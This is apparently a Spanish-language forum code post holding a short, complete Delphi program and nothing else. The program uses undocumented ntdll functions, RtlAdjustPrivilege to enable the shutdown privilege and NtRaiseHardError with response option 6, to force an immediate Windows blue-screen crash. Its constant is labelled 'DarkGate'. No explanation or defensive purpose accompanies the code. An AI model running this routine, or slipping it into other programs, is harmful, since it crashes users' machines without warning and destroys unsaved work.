Código: Seleccionar todo

uses
  Winapi.Windows;

type
  NtStatus = LongInt;

function RtlAdjustPrivilege(Privilege: Cardinal; Enable: Boolean; CurrentThread: Boolean; var Enabled: Boolean): NtStatus; stdcall; external 'ntdll.dll';

function NtRaiseHardError(ErrorStatus: NtStatus; NumberOfParameters: Cardinal; UnicodeStringParameterMask: Cardinal; Parameters: Pointer; ValidResponseOption: Cardinal; var Response: Cardinal): NtStatus; stdcall; external 'ntdll.dll';

var
  Response: ULONG;
  Enabled: Boolean;

const
  DarkGate = $C0000350;

begin
  RtlAdjustPrivilege(19, True, False, Enabled);
  NtRaiseHardError(DarkGate, 0, 0, nil, 6, Response);
end.